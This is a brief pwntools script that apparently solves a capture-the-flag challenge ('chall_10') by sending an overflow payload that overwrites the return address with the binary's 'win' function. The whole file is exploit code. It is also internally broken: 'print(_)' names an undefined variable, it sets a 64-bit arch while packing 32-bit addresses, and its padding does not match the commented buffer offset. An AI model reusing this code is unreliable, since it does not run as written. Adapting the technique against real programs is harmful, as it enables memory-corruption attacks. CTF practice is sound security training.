# fgets: s = ebp - 0x1c n = 0x13 (19)
# 0x8048531

from pwn import *

p = process('./chall_10')
binary = ELF('./chall_10')
context.arch = 'amd64'

address = p32(binary.symbols['win'])
print(_)
p.sendline()

# 4 part jump chain
payload = b'A'*0x3a
payload += b'B'*0x4
payload += b'C'*0x4 
payload += address 
payload += p32(0xdeadbeef)

p.send(payload)
p.interactive()